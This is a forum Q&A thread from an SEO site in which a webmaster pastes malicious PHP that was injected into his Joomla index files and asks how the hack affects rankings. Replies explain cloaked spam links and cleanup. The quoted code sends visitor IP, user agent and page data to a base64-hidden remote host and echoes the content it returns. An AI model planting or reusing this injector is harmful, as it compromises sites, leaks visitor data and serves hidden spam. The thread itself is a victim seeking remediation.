Website has been hacked will this hurt ranking
-
Today we found out that a website of as has been hacked and that they put this code in multiple index.php files:
if (!isset($sRetry))
{
global $sRetry;
$sRetry = 1;
// This code use for global bot statistic
$sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); // Looks for google serch bot
$stCurlHandle = NULL;
$stCurlLink = "";
if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chrome') == false)&&(strstr($sUserAgent, 'bing') == false)&&(strstr($sUserAgent, 'safari') == false)&&(strstr($sUserAgent, 'bot') == false)) // Bot comes
{
if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create bot analitics
$stCurlLink = base64_decode( 'aHR0cDovL21icm93c2Vyc3RhdHMuY29tL3N0YXRIL3N0YXQucGhw').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);
@$stCurlHandle = curl_init( $stCurlLink );
}
}
if ( $stCurlHandle !== NULL )
{
curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($stCurlHandle, CURLOPT_TIMEOUT, 8);
$sResult = @curl_exec($stCurlHandle);
if ($sResult[0]=="O")
{$sResult[0]=" ";
echo $sResult; // Statistic code end
}
curl_close($stCurlHandle);
}
}
?>After some search I found other people mentioning this problem too.They were also talking about that this could have impact on your search rankings.
My first question : Will this hurt my rankings ?
Second question: Is there something I can do to tell the search engines about the hack so that we don't lose ranking on this.
Grtz,
Ard
-
I'm using joomla sites. I now know how they got into our sites. We had malware on one of the computers, and apparantly keeps filezilla the passwords in a text files without encryption. I have changed all the comprimised files back, and changed every password on the sites. The hack changed every index and footer file. Let's hope it doesn't came back.
-
If you are using wordpress, I would be inclined to reinstall the base files, or restore from a backup to a time prior to the hack (if you have not made many changes since).
I would also recommend the wordpress security plugin, change all passwords to strong ones etc.
Don't just fix the problem, but secure your site against it happening again as well.
-
Hi Jonathan,
Luckily I haven't seen any changes in rankings in the last weeks. Let hope it stays this way.
I did find files that were changed on the 10 of September.
Google hasn't identified my site as being hacked.
Is there anything else I can do?
-
I have read elsewhere that it impacts what search engines see, so will insert backlinks to other sites which only show to the crawlers. You, or anyone else visiting the site would not notice anything different. Its a very sneaky hack.
This would potentially affect your site rankings. Apart from PR leakage, if they are linking to bad domains etc Google might not look kindly on it.
Just remove the offending code \ hack, and things should slowly get back to normal though as your site is recrawled. Have you noticed a change in your rankings? If you sort it quickly, I doubt you will need to do anything, but remove the hack.
Has Google identified your site as being hacked? If they have follow these steps including request they review the site at the end: http://www.google.com/webmasters/hacked/
Got a burning SEO question?
Subscribe to Moz Pro to gain full access to Q&A, answer questions, and ask your own.
Browse Questions
Explore more categories
-
Moz Tools
Chat with the community about the Moz tools.
-
SEO Tactics
Discuss the SEO process with fellow marketers
-
Community
Discuss industry events, jobs, and news!
-
Digital Marketing
Chat about tactics outside of SEO
-
Research & Trends
Dive into research and trends in the search industry.
-
Support
Connect on product support and feature requests.
Related Questions
-
Anyone backlinks from hacked FaceBook widgets?
I was going through my backlink profile the other day and started noticing a huge number of new back links, like 100k. Digging through them, I am seeing a lot of links that are inserted in Facebook feed widgets. You will see the link at the bottom of the widget. From what I can see, a lot of these links are all in this format, all on European domains, all running WordPress. Doesn't seem to have anything do to spamminess. Had domains that were on blacklists, some not. Anyone seen anything like this before? The only thing I can think of was maybe an automated hack bot that inserted the link when it was able to get in? E0OMJfi.jpg
White Hat / Black Hat SEO | | ShockoeCommerce0 -
Sudden drop in ranking
Hi, I have been on page 1 (around 5-7th) for an area specific phrase (liverpool wedding photographer) for most of last year. I wrote a 2500 word article which was about documentary wedding photography which was meant for a landing page of its own, I decided to put it on my home page. A week later I was second position page 1. This was last November and within a week or at most 14 days I was suddenly dropped to bottom page 1 (9th 10th), then a week later half way down page 2 (14th, 15th) and ending at the bottom of page 2. I had a bad SEO company a few years ago who got me a lot of spammy links so I ended up disavowing a lot of links I had. What are peoples opinions on links now? Do I disavow all directory links, and non wedding or photography related links? Did something major happen to the google algorithm in November? The only other thing I can think of which might cause a penalty is using the keyword "Liverpool wedding photographer" as a link from at leat 10 blog posts back to my home page which is optimised for those keywords. This was something I copied from someone who was ranking nationally for phrases. Just looked at their site now and they are still using this technique and are No1 nationally for their chosen phrase???? I do try and get as many 'good' links as I can (featured weddings on wedding blogs and credits for photography work) but I am totally confused. I thought google likes a lot of content? Very gutted as it could not happen at a worse time as January is the busiest month for bookings and I have been nowhere. any help will be greatly appreciated. Best wishes. David.
White Hat / Black Hat SEO | | WallerD1 -
Update: Copied Website
So I discovered a website the other day that is a complete duplicate of ours: justinchina.co.uk This is our website: petmedicalcenter.com . Thanks to help from Erica, I dug in deeper to see why this was happening. It seems that the justinchinca.co.uk which is hosted by GoDaddy has their A Record pointing at our web host. So that being said, our website does not seem to be hacked which is good news. Would this still cause an issue with our Google rankings? Our host, Host Monster said to contact GoDaddy and GoDaddy said that a domain owner can point their URL to anywhere that they choose. Anyway, any feedback would be helpful. Thanks for everyone thus far that has helped me. Brant
White Hat / Black Hat SEO | | BCB11210 -
Footer Link in International Parent Company Websites Causing Penalty?
Still waiting to look at the analytics for the timeframe, but we do know that the top keyword dropped on or about April 23, 2012 from the #1 ranking in Google - something they had held for years, and traffic dropped over 15% that month and further slips since. Just looked at Google Webmaster Tools and see over 2.3MM backlinks from "sister" compainies from their footers. One has over 700,000, the rest about 50,000 on average and all going to the home page, and all using the same anchor text, which is both a branded keyword, as well as a generic keyword, the same one they ranked #1 for. They are all "nofollows" but we are trying to confirm if the nofollow was before or after they got hit, but regardless, Google has found them. To also add, most of sites are from their international sites, so .de, .pl, .es, .nl and other Eurpean country extensions. Of course based on this, I would assume the footer links and timing, was result of the Penguin update and spam. The one issue, is that the other US "sister" companies listed in the same footer, did not see a drop, in fact some had increase traffic. And one of them has the same issue with the brand name, where it is both a brand name and a generic keyword. The only note that I will make about any of the other domains is that they do not drive the traffic this one used to. There is at least a 100,000+ visitor difference among the main site, and this additional sister sites also listed in the footer. I think I'm on the right track with the footer links, even though the other sites that have the same footer links do not seem to be suffering as much, but wanted to see if anyone else had a different opinion or theory. Thanks!
White Hat / Black Hat SEO | | LeverSEO
Jen Davis0 -
My website disapeared from google rankings, please help?
Our website url is http://www.phoria.com Around January 16th we disappeared from google for the keyword 'kratom' We were on page 3 for the longest time. We have no critical messages in webmaster tools however I did notice most of our links seem to be website directory links.We still rank for a couple terms like buy kratom on page 6.I think a google update occurred around this time so I've read however if we had a variety of links that went against google guidelines wouldn't we have received a message stating so in Webmaster Tools?This month has been very confusing to say the least. Any help would be appreciated.
White Hat / Black Hat SEO | | gregdotcom0 -
Website Vulnerability Leading to Doorway Page Spam. Need Help.
Keywords he is ranking for , houston dwi lawyer, houston dwi attorney and etc.. Client was acquired in June and since then we have done nothing but build high quality links to the website. None of our clients were dropped/dinged or impacted by the panda/penguin updates in 2012 or updates previously published via Google. Which proves we do quality SEO work. We went ahead and started duplicating links which worked for other legal clients and 5 months later this client is either dropping or staying in local maps results and we are performing very badly in organic results. Some more history..... When he first engaged our company we switched his website from a CMS called plone to word press. During our move I ran some searches to figure out which pages we needed to 301 and we came across many profile pages or member pages created on the clients CMS (PLONE). These pages were very spammy and linked to other plone sites using car model,make,year type keywords (ex:jeep cherokee dealerships). I went through these sites to see if they were linking back and could not find any back links to my clients website. Obviously nobody authorized these pages, they all looked very hackish and it seemed as though there was a vulnerability on his plone CMS installation which nobody caught. Fast forward 5 months and the newest OSE update is showing me a good 50+ back links with unrelated anchor text back links. These anchor text links are the same color as the background and can only be found if you hover your mouse over certain areas of the site. All of these sites are built on Plone and allot of them are linked to other businesses or community websites. These websites obviously have no clue they have been hacked or are being used for black hat purposes. There are dozens of unrelated anchor text links being used on external websites which are pointing back to our clients website. Examples: <a class="clickable title link-pivot" title="See top linking pages that use this anchor text">autex Isuzu, </a><a class="clickable title link-pivot" title="See top linking pages that use this anchor text">Toyota service department ratings, </a><a class="clickable title link-pivot" style="color: #5e5e5e; font-family: Helvetica, Arial, sans-serif; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; line-height: normal;" title="See top linking pages that use this anchor text">die cast BMW and etc..</a> Obviously the first step is to use the disavow link tool, which will be completed this week. The second step is to take some feedback from the SEO community. It seems like these pages are automatically created using some type of bot. It will be very tedious if we have to continually remove these links. I hope there is a way to notify Google that these websites are all plone and have a vulnerability, which black hats are using to harm the innocent... If i cannot get Google to handle this, then the only other option is to start fresh with a new domain name. What would you do in this situation. Your help is greatly appreciated. Thank you
White Hat / Black Hat SEO | | waqid0 -
Partner Site Hit with Penguin - Links hurt me
I work for a network of international websites, the site I work on is for Canada. Our partners in Australia were hit by penguin hard because they hired a black hat SEO guy and didn't know. He was creating profiles on highly authoritative sites and keyword stuffing them. Now, they've completely dropped off the SERP. This is where the issue occurs, because we are all international partners we are all linked together on the header of every page so visitors can choose their country. Now, because they were hit hard and we have reciprocal links (not for rankings but for usability) will we be affected? It seems like we have, but I just want some opinions out there. Also, should we go ahead and stop linking our sites between countries to avoid this mess?
White Hat / Black Hat SEO | | BeTheBoss0 -
Will the links coming from an article in certain BLOG / NEWS SITE become a GOOD BackLink?
Such as, if i wrote a ymoz, and suddenly the articles is accepted, will the link to our site coming out of that Article Post increased our SEO Standing? Another example would be http://active.tutsplus.com , yesterday i have successfully pitched a tutorial idea, and they told me to write it so that they can published it , and they also promised that i will be able to put my site link (dofollow) ... But will these link be a Good BackLink that will increase our site's SEO Standing? The last one is exactly the same link , but this time coming from a News Site , such as http://teknologi.kompasiana.com/internet/2011/06/09/website-full-flash-dengan-inovasi-hebat-karya-indonesia/ , in this article (kompasiana is a very wellknown site news in Indonesia, in fact KOMPAS is the biggest newspaper firm in Indonesia) , our site is being featured , there is a link coming out of that article (DOFOLLOW), but will that link make our site much more SEO Friendly? Again please enlighten me 🙂
White Hat / Black Hat SEO | | IKT0